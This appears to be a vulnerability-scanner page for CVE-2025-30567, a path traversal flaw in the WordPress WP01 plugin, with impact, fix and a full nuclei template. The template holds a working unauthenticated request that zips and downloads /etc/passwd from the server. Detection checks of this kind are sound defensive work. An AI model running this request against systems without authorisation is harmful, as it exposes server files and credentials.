WordPress WP01 - Path Traversal

highseverity

7.5CVSS score

2.9%likelihood of exploitation, next 30 days

87%of all CVEs are less likely

Readycheck to confirm it

Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal') vulnerability in wp01ru WP01 allows Path Traversal. This issue affects WP01: from n/a through 2.6.2.

Impact

Unauthenticated attackers can exploit path traversal to download arbitrary files from the server as ZIP archives, potentially exposing sensitive configuration files and credentials.

Fix

Upgrade to WP01 version 2.6.3 or later that properly validates file paths in the generate ZIP archive functionality.

How to confirm it

Send: POST /wp-admin/admin-ajax.php?action=wp01_generate_zip_archive
Positive when: contains(body, "wp-01-passwd.zip") and contains(content_type, "application/json") and status_code == 200
Send: GET /wp-content/wp01-backup/wp-01-passwd.zip
Positive when: contains(content_type, "application/zip") and status_code == 200

Run it with nuclei: nuclei -id CVE-2025-30567 -u <target>

The full check

id: CVE-2025-30567

info:
  name: WordPress WP01 - Path Traversal
  author: s4e-io
  severity: high
  description: |
    Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal') vulnerability in wp01ru WP01 allows Path Traversal. This issue affects WP01: from n/a through 2.6.2.
  impact: |
    Unauthenticated attackers can exploit path traversal to download arbitrary files from the server as ZIP archives, potentially exposing sensitive configuration files and credentials.
  remediation: |
    Upgrade to WP01 version 2.6.3 or later that properly validates file paths in the generate ZIP archive functionality.
  reference:
    - https://github.com/Oyst3r1ng/CVE-2025-30567
    - https://patchstack.com/database/wordpress/plugin/wp01/vulnerability/wordpress-wp01-2-6-2-arbitrary-file-download-vulnerability?_s_id=cve
    - https://nvd.nist.gov/vuln/detail/CVE-2025-30567
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2025-30567
    cwe-id: CWE-22
    epss-score: 0.02867
    epss-percentile: 0.86893
  metadata:
    verified: true
    max-request: 2
    vendor: wp01ru
    product: wp01
    framework: wordpress
  tags: cve,cve2025,lfi,wp-plugin,wordpress,wp01,wp,vkev,vuln

flow: http(1) && http(2)

http:
  - raw:
      - |
        POST /wp-admin/admin-ajax.php?action=wp01_generate_zip_archive HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        target=passwd&path=/etc/

    matchers:
      - type: dsl
        dsl:
          - 'contains(body, "wp-01-passwd.zip")'
          - 'contains(content_type, "application/json")'
          - 'status_code == 200'
        condition: and
        internal: true

  - raw:
      - |
        GET /wp-content/wp01-backup/wp-01-passwd.zip HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'contains(content_type, "application/zip")'
          - 'status_code == 200'
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from